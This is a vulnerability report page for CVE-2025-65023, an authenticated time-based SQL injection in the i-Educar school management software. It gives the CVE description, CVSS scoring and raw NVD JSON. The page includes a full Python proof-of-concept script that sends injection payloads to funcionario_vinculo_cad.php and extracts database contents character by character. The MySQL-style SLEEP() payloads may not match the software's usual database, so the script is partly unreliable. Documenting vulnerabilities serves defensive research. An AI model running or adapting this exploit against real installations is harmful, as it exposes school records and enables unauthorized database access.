Security Vulnerability Report
中文
CVE-2025-65023 CVSS 7.2 HIGH

CVE-2025-65023

Published: 2025-11-19 16:15:50
Last Modified: 2025-11-20 17:20:19

Description

i-Educar is free, fully online school management software. In versions 2.10.0 and prior, an authenticated time-based SQL injection vulnerability exists in the ieducar/intranet/funcionario_vinculo_cad.php script. An attacker with access to an authenticated session can execute arbitrary SQL commands against the application's database. This vulnerability is caused by the improper handling of the cod_funcionario_vinculo GET parameter, which is directly concatenated into an SQL query without proper sanitization. This issue has been patched in commit a00dfa3.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:portabilis:i-educar:*:*:*:*:*:*:*:* - VULNERABLE
i-Educar <= 2.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65023 - i-Educar Time-based SQL Injection PoC Affected Version: i-Educar <= 2.10.0 Note: This PoC is for educational and authorized testing purposes only """ import requests import time import sys def test_sqli_time_based(target_url, session_cookie, employee_vinculo_id='1'): """ Test for time-based SQL injection vulnerability SLEEP() function is used to introduce delay based on condition evaluation """ print(f"[*] Testing CVE-2025-65023 on {target_url}") print(f"[*] Target endpoint: /funcionario_vinculo_cad.php") # Vulnerable endpoint endpoint = f"{target_url}/ieducar/intranet/funcionario_vinculo_cad.php" # Normal request for baseline timing print("\n[1] Sending baseline request...") start = time.time() normal_params = {'cod_funcionario_vinculo': employee_vinculo_id} headers = {'Cookie': f'ieducar={session_cookie}'} try: resp = requests.get(endpoint, params=normal_params, headers=headers, timeout=10) normal_time = time.time() - start print(f"[+] Baseline response time: {normal_time:.2f}s") except requests.exceptions.Timeout: normal_time = 10 print(f"[!] Request timed out (baseline)") # SQL injection test payload with SLEEP(5) print("\n[2] Sending SQL injection payload...") sqli_payload = f"1 AND (SELECT * FROM (SELECT(SLEEP(5)))test)-- " start = time.time() inj_params = {'cod_funcionario_vinculo': sqli_payload} try: resp = requests.get(endpoint, params=inj_params, headers=headers, timeout=15) inj_time = time.time() - start print(f"[+] Injection response time: {inj_time:.2f}s") except requests.exceptions.Timeout: inj_time = 15 print(f"[!] Request timed out (injection)") # Vulnerability check if inj_time > normal_time + 3: print(f"\n[!] VULNERABLE: Response delayed by {inj_time - normal_time:.2f}s") print("[!] Time-based SQL injection confirmed!") return True else: print(f"\n[*] NOT VULNERABLE or payload did not trigger delay") return False def extract_data(target_url, session_cookie): """ Example: Extract database version using time-based blind injection This is a simplified demonstration """ print("\n[*] Extracting database version via time-based injection...") endpoint = f"{target_url}/ieducar/intranet/funcionario_vinculo_cad.php" headers = {'Cookie': f'ieducar={session_cookie}'} # Binary search approach for efficient data extraction version = "" for pos in range(1, 50): found = False for ascii_val in range(32, 127): # Payload: Extract character at position using SUBSTRING and ASCII payload = f"1 AND ASCII(SUBSTRING((SELECT VERSION()),{pos},1))={ascii_val} AND SLEEP(2)-- " start = time.time() try: resp = requests.get(endpoint, params={'cod_funcionario_vinculo': payload}, headers=headers, timeout=5) elapsed = time.time() - start if elapsed >= 2: version += chr(ascii_val) print(f"[+] Position {pos}: {chr(ascii_val)} (total: {version})") found = True break except: pass if not found: break print(f"\n[!] Extracted version: {version}") return version if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-65023-poc.py <target_url> <session_cookie>") print("Example: python cve-2025-65023-poc.py http://localhost admin_session_cookie") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] # Test for vulnerability is_vulnerable = test_sqli_time_based(target, cookie) if is_vulnerable: print("\n[*] Proceeding with data extraction...") extract_data(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65023", "sourceIdentifier": "[email protected]", "published": "2025-11-19T16:15:49.603", "lastModified": "2025-11-20T17:20:18.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "i-Educar is free, fully online school management software. In versions 2.10.0 and prior, an authenticated time-based SQL injection vulnerability exists in the ieducar/intranet/funcionario_vinculo_cad.php script. An attacker with access to an authenticated session can execute arbitrary SQL commands against the application's database. This vulnerability is caused by the improper handling of the cod_funcionario_vinculo GET parameter, which is directly concatenated into an SQL query without proper sanitization. This issue has been patched in commit a00dfa3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:portabilis:i-educar:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.10.0", "matchCriteriaId": "877348AB-B600-47B3-A565-8198483C6414"}]}]}], "references": [{"url": "https://github.com/portabilis/i-educar/commit/a00dfa3f129bc84e27873aa01cbd3f82e5b6c6c8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/portabilis/i-educar/security/advisories/GHSA-8rv6-x8h9-fjfc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/portabilis/i-educar/security/advisories/GHSA-8rv6-x8h9-fjfc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}